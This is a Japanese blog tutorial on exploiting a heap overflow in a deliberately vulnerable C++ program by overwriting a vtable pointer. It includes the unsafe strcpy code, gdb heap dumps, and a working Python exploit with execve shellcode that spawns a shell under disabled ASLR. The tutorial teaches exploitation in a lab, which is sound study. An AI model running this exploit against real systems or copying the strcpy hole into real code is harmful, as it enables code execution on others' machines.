読者です 読者をやめる 読者になる 読者になる

ヒープオーバーフローによるC++ vtable overwriteをやってみる

「ヒープオーバーフローによるGOT overwriteをやってみる」ではプログラム中にて定義した構造体を利用してヒープオーバーフローを行った。 これに関連して、C++において仮想関数をメンバ関数に持つクラスを利用すると、ヒープオーバーフローにより任意のアドレスにジャンプさせることができる場合がある。 ここでは、C++の仮想関数およびvtableの概要と、これを利用したヒープオーバーフローによるシェルコード実行をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

C++で仮想関数を持つクラスを利用した、次のようなコードを書いてみる。

// vtable.cpp
#include <cstdio>
#include <cstring>
using namespace std;

class Animal {
public:
    char name[100];
    virtual void cry() { printf("%s: ...\n", name); }
};

class Dog : public Animal {
public:
    virtual void cry() { printf("%s: bow wow\n", name); }
};

class Cat : public Animal {
public:
    virtual void cry() { printf("%s: meow\n", name); }
};

void kick(Animal* x)
{
    x->cry();
}

int main(int argc, char *argv[])
{
    Dog *dog = new Dog();
    Cat *cat = new Cat();

    printf("[+] dog->name = %p\n", dog->name);
    printf("[+] cat->name = %p\n", cat->name);
    strcpy(dog->name, argv[1]);
    strcpy(cat->name, argv[2]);
    kick(dog);
    kick(cat);

    delete cat;
    delete dog;
    return 0;
}

このコードでは、Animalクラスとこれを継承したDog、Catサブクラスがあり、それぞれのサブクラスで特殊化されたcry関数をkick関数により呼び出すものである。 また、strcpy関数を利用していることからわかるように、このコードにはヒープオーバーフローの脆弱性がある。

ASLR、DEP無効、SSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ g++ -z execstack vtable.cpp

$ ./a.out pochi tama
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c
pochi: bow wow
tama: meow

kick関数がそれぞれのサブクラスに応じたcry関数を呼び出していることがわかる。

仮想関数とvtableの仕組みについて確認してみる

仮想関数は、C++においてPolymorphismを実現するための仕組みである。 すなわち、実際に受け取ったインスタンスが属するサブクラスに応じて、呼び出される関数を変える仕組みである。 上の例において、kick関数はDogサブクラスのインスタンスが来た場合はDog::cry()を、Catサブクラスのインスタンスが来た場合はCat::cry()を呼び出している。 仮想関数は、クラスのメンバ関数にvirtualキーワードをつけることによって定義される。

この仕組みがアセンブリコード上でどのように実現されているか、objdumpコマンドを使って調べてみる。 なお、C++ではシンボル名は引数の型などをもとにName manglingと呼ばれる変換が行われるが、c++filtコマンドを使うことでこれをわかりやすい形にdemangleすることができる。 ディスアセンブルした結果のうち、kick関数の部分のみを抜き出すと次のようになる。

$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p'
08048574 <kick(Animal*)>:
 8048574:       55                      push   ebp
 8048575:       89 e5                   mov    ebp,esp
 8048577:       83 ec 18                sub    esp,0x18
 804857a:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804857d:       8b 00                   mov    eax,DWORD PTR [eax]
 804857f:       8b 10                   mov    edx,DWORD PTR [eax]
 8048581:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048584:       89 04 24                mov    DWORD PTR [esp],eax
 8048587:       ff d2                   call   edx
 8048589:       c9                      leave
 804858a:       c3                      ret

上より、まずeaxレジスタに第一引数として与えたインスタンスを指すポインタがセットされ、これを2回デリファレンスしたものがedxレジスタにセットされた後call命令で呼ばれていることがわかる。 第一引数が関数の呼び出しごとに変わることを考慮すると、このコードによりDog、Catそれぞれのサブクラスに応じたcry関数が呼ばれていることが推測できる。

比較のため、メンバ関数が仮想関数でない場合についても調べてみる。 まずは、元のコードからすべてのvirtualキーワードを削除したコードを用意する。

$ cp vtable.cpp vtable2.cpp

$ vi vtable2.cpp

$ diff -u vtable.cpp vtable2.cpp
--- vtable.cpp  2014-05-13 12:06:11.138956959 +0900
+++ vtable2.cpp 2014-05-13 12:11:06.134957717 +0900
@@ -6,17 +6,17 @@
 class Animal {
 public:
     char name[100];
-    virtual void cry() { printf("%s: ...\n", name); }
+    void cry() { printf("%s: ...\n", name); }
 };

 class Dog : public Animal {
 public:
-    virtual void cry() { printf("%s: bow wow\n", name); }
+    void cry() { printf("%s: bow wow\n", name); }
 };

 class Cat : public Animal {
 public:
-    virtual void cry() { printf("%s: meow\n", name); }
+    void cry() { printf("%s: meow\n", name); }
 };

 void kick(Animal* x)

同じ条件にてコンパイルし、実行すると次のようになる。

$ g++ -z execstack vtable2.cpp

$ ./a.out pochi tama
[+] dog->name = 0x804b008
[+] cat->name = 0x804b070
pochi: ...
tama: ...

Dogサブクラス、Catサブクラスのどちらもkick関数の引数の型として指定されたAnimalクラスとして扱われ、Animal::cry()関数が呼ばれていることがわかる。

実際にアセンブリコードを見てみると、call命令で呼び出される関数がAnimal::cry()固定になっている。

$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p'
080484d4 <kick(Animal*)>:
 80484d4:       55                      push   ebp
 80484d5:       89 e5                   mov    ebp,esp
 80484d7:       83 ec 18                sub    esp,0x18
 80484da:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80484dd:       89 04 24                mov    DWORD PTR [esp],eax
 80484e0:       e8 75 01 00 00          call   804865a <Animal::cry()>
 80484e5:       c9                      leave
 80484e6:       c3                      ret

このようにメンバ関数が仮想関数でない場合、呼び出される関数は変数の型情報をもとにコンパイル時に決定される。

メモリの状態を調べてみる

次に、各インスタンスがどのようにメモリに配置されているかを確認してみる。 再び最初のコードをコンパイルし直した後、gdbを使ってヒープ領域のメモリ内容を調べる。 なお、gdbで事前にset print asm-demangle onを実行しておくと、アセンブリコード中のシンボルがdemangleされるようになりわかりやすい。

$ g++ -z execstack vtable.cpp

$ gdb -q a.out
Reading symbols from /home/user/tmp/vtable/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle on
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x08048633 <+168>:   call   0x8048490 <strcpy@plt>
   0x08048638 <+173>:   mov    eax,DWORD PTR [ebp+0xc]
   0x0804863b <+176>:   add    eax,0x8
   0x0804863e <+179>:   mov    eax,DWORD PTR [eax]
   0x08048640 <+181>:   mov    edx,DWORD PTR [esp+0x1c]
   0x08048644 <+185>:   add    edx,0x4
   0x08048647 <+188>:   mov    DWORD PTR [esp+0x4],eax
   0x0804864b <+192>:   mov    DWORD PTR [esp],edx
   0x0804864e <+195>:   call   0x8048490 <strcpy@plt>
   0x08048653 <+200>:   mov    eax,DWORD PTR [esp+0x18]
   ...
End of assembler dump.
(gdb) b *main+200
Breakpoint 1 at 0x8048653
(gdb) run AAAA BBBB
Starting program: /home/user/tmp/vtable/a.out AAAA BBBB
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c

Breakpoint 1, 0x08048653 in main ()
(gdb) i proc map
process 22370
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/vtable/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/vtable/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/vtable/a.out
         0x804b000  0x806c000    0x21000        0x0 [heap]
        0xb7cfa000 0xb7cfc000     0x2000        0x0
        ...
(gdb) x/100wx 0x804b000
0x804b000:      0x00000000      0x00000071      0x08048860      0x41414141
0x804b010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000071      0x08048850      0x42424242
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0e0:      0x00000000      0x00020f21      0x00000000      0x00000000
0x804b0f0:      0x00000000      0x00000000      0x00000000      0x00000000
...
(gdb) x/wx 0x08048860
0x8048860 <vtable for Dog+8>:   0x080486ae
(gdb) x/i 0x080486ae
   0x80486ae <Dog::cry()>:      push   ebp
(gdb) x/wx 0x08048858
0x8048858 <vtable for Dog>:     0x00000000
(gdb) x/wx 0x0804885c
0x804885c <vtable for Dog+4>:   0x08048890
(gdb) x/wx 0x08048890
0x8048890 <typeinfo for Dog>:   0x0804a068
(gdb) x/wx 0x08048850
0x8048850 <vtable for Cat+8>:   0x080486cc
(gdb) x/i 0x080486cc
   0x80486cc <Cat::cry()>:      push   ebp
(gdb) x/wx 0x08048848
0x8048848 <vtable for Cat>:     0x00000000
(gdb) x/wx 0x0804884c
0x804884c <vtable for Cat+4>:   0x0804887c
(gdb) x/wx 0x0804887c
0x804887c <typeinfo for Cat>:   0x0804a068
(gdb) quit
A debugging session is active.

        Inferior 1 [process 22370] will be killed.

Quit anyway? (y or n) y

上で調べた結果を整理すると、次のようになる。

0x804b000:
      0x00000000
      0x00000071
      0x08048860 (pointer to <vtable for Dog+8>)
0x804b00c:
      0x41414141 (dog->name)
      ...
      0x00000000
0x804b070:
      0x00000000
      0x00000071
      0x08048850 (pointer to <vtable for Cat+8>)
0x804b07c:
      0x42424242 (cat->name)
      ...
      0x00000000
0x804b0e0:
      0x00000000
      0x00020f21
      0x00000000
      ...

0x8048858 <vtable for Dog>:
      0x00000000
      0x08048890 <typeinfo for Dog>
0x8048860:
      0x080486ae <Dog::cry()>

0x8048848 <vtable for Cat>:
      0x00000000
      0x0804887c <typeinfo for Cat>
0x8048850:
      0x080486cc <Cat::cry()>

ここで、vtableは各クラスで定義されている仮想関数のリストを格納したテーブルであり、仮想関数テーブルと呼ばれる。 上のレイアウトから、strcpy関数によりdog->nameをオーバーフローさせることで、catにおいてvtableを指しているポインタを上書きできることがわかる。 そして、vtableを指しているポインタを自分がコントロール可能なバッファを指すポインタに上書きすることができれば、そこからCat::cry()の代わりに適当な命令列を実行させることができる。

エクスプロイトコードを書いてみる

上の内容をもとに、ヒープオーバーフローによりcatのvtableポインタを書き換え、Cat::cry()の代わりにシェルコードを実行させるエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
addr_buf = int(sys.argv[2], 16)

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

buf = struct.pack('<I', addr_buf+4)
buf += shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'AAAA' * 2
buf += struct.pack('<I', addr_buf)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf, 'BBBB'])
p.wait()

このコードは、ヒープオーバーフローに利用するバッファのサイズとアドレスを順に引数に取る。 このコードでは、vtableポインタをバッファの先頭を指すポインタに書き換え、Cat::cry()のアドレスが存在する部分にシェルコードのアドレスを配置している。

引数をセットし、実行してみる。

$ python exploit.py 100 0x804b00c
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ヒープオーバーフローを利用したvtableポインタの書き換えにより、シェルコードが実行されシェルが起動できていることが確認できた。

関連リンク